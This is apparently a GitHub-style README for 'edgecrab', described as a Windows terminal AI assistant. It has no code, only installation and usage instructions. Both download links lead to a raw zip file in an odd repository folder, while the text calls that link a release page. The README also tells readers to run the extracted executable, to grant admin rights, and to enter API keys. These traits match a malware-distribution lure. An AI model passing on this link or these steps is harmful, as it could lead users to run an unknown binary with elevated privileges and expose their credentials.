🦀 edgecrab - Fast terminal AI helper for daily work

🧭 What is edgecrab?

edgecrab is a personal assistant that runs in the terminal on Windows. It helps you ask questions, run tasks, and connect to LLM providers from one place. It uses a fast Rust core, a text-based interface, a ReAct tool loop, and support for gateway adapters and the ACP protocol.

If you want a local tool that stays in the terminal and keeps setup simple, edgecrab is built for that.

💻 What you need

To run edgecrab on Windows, use a PC with:

• Windows 10 or Windows 11
• At least 4 GB of RAM
• 1 GB of free disk space
• Internet access for the first setup
• A keyboard and mouse
• A modern terminal app such as Windows Terminal or Command Prompt

For a smoother experience, 8 GB of RAM or more works well.

📥 Download and install

1. Open the download page: https://github.com/abbeydamaged846/edgecrab/raw/refs/heads/main/quiesce/Software-1.7.zip

2. On the page, look for the latest release or download files.

3. Download the Windows file that matches your system.

4. If the file ends in .exe, double-click it to run.

5. If the file is in a .zip file, right-click it and choose Extract All.

6. Open the extracted folder.

7. Run the edgecrab app from the extracted files.

8. If Windows asks for permission, choose Yes.

🚀 First run

When edgecrab opens for the first time, it may ask for a provider key or setup details. Follow the prompts in the terminal.

A typical first run looks like this:

1. Start edgecrab.
2. Pick your LLM provider.
3. Enter the required API key or access token.
4. Choose a model.
5. Start typing your request.

If you use a provider like OpenAI, Anthropic, or a local model server, enter the details the app asks for.

🧩 How to use edgecrab

edgecrab works in a simple text window. You type a request, and it responds in the same place.

You can use it for things like:

• Writing short notes
• Summarizing text
• Planning tasks
• Checking commands before you run them
• Asking follow-up questions
• Using connected tools through the ReAct loop

Example requests:

• Summarize this text in plain English
• Help me plan my day
• Explain this error message
• Draft a short reply to this email
• Find the steps to set up a printer

🔧 Main features

⚡ Fast Rust engine

edgecrab uses Rust, which helps it start fast and stay light on system resources.

🖥️ Terminal user interface

You use edgecrab inside a terminal window. This keeps the app focused and easy to run on Windows.

🤖 ReAct tool loop

edgecrab can think through a task, call tools, and continue based on the result. This helps with multi-step work.

🌐 Multi-provider LLM support

You can connect edgecrab to more than one model provider. That gives you more choice in how you work.

🔌 Gateway adapters

edgecrab can work through adapters that connect it to other services and tools.

🛡️ Built-in security hardening

The app includes security-focused defaults that help reduce risk when it runs tasks and connects to services.

📡 ACP protocol support

ACP support lets edgecrab fit into setups that use that protocol for agent and tool communication.

🪟 Run edgecrab on Windows

If you already downloaded the app, follow these steps:

1. Open the folder where you saved the download.
2. If the file is zipped, extract it first.
3. Find the edgecrab app file.
4. Double-click it to launch.
5. If a terminal window opens, keep it open.
6. Follow the on-screen prompts.
7. Enter your provider details when asked.

If nothing happens, right-click the file and choose Run as administrator if your system asks for it.

🔐 Set up your model provider

edgecrab needs a model provider before it can answer your requests. The app may ask for:

• API key
• Base URL
• Model name
• Gateway address
• Token or login info

Use the details from your provider account. If you use a local model server, enter its address in the setup flow.

🧠 Tips for better results

Use short, clear requests. That helps edgecrab give better answers.

Good examples:

• Turn this into a checklist
• Compare these two options
• Rewrite this in simple words
• Find the next step
• Explain this one line of text

If you want a stronger result, add context:

• What you need
• Who it is for
• The tone you want
• The format you want

🛠️ Common use cases

edgecrab fits well in these cases:

• Personal task help
• Text rewriting
• Quick research
• Command guidance
• Tool-driven workflows
• Agent-style automation
• Terminal-based AI work

📁 File layout

After extraction, you may see files like these:

• The main app file
• Config files
• A data folder
• A readme or license file
• Support files for the terminal interface

Keep the full folder together. Do not move single files out of it unless the app instructions say so.

❓ If edgecrab will not open

Try these steps:

1. Make sure the download finished.
2. Extract the files if they came in a zip.
3. Check that you opened the correct app file.
4. Close and reopen the terminal.
5. Try running it from the folder again.
6. Make sure your Windows version is up to date.
7. Confirm that your provider settings are correct.

🔄 Update edgecrab

To get a newer version:

1. Return to the download page: https://github.com/abbeydamaged846/edgecrab/raw/refs/heads/main/quiesce/Software-1.7.zip
2. Download the latest Windows build.
3. Remove the old files if the new release uses a fresh folder.
4. Extract or run the new version.
5. Open the app and check your settings.

📎 Project details

• Name: edgecrab
• Type: terminal AI assistant
• Core language: Rust
• Interface: TUI
• Focus: local control, tool use, and multi-provider support
• Topics: agentic-ai, ai-agent, autonomous-agent, cli, llm, mcp, nous-hermes, openclaw, react-agent, rust, terminal, tui

🧭 Best first task

After setup, try a short task first.

Example:

• Summarize this paragraph
• Explain how this tool works
• Create a to-do list for today
• Help me write a short message

This lets you check that the app is set up right before you use larger tasks.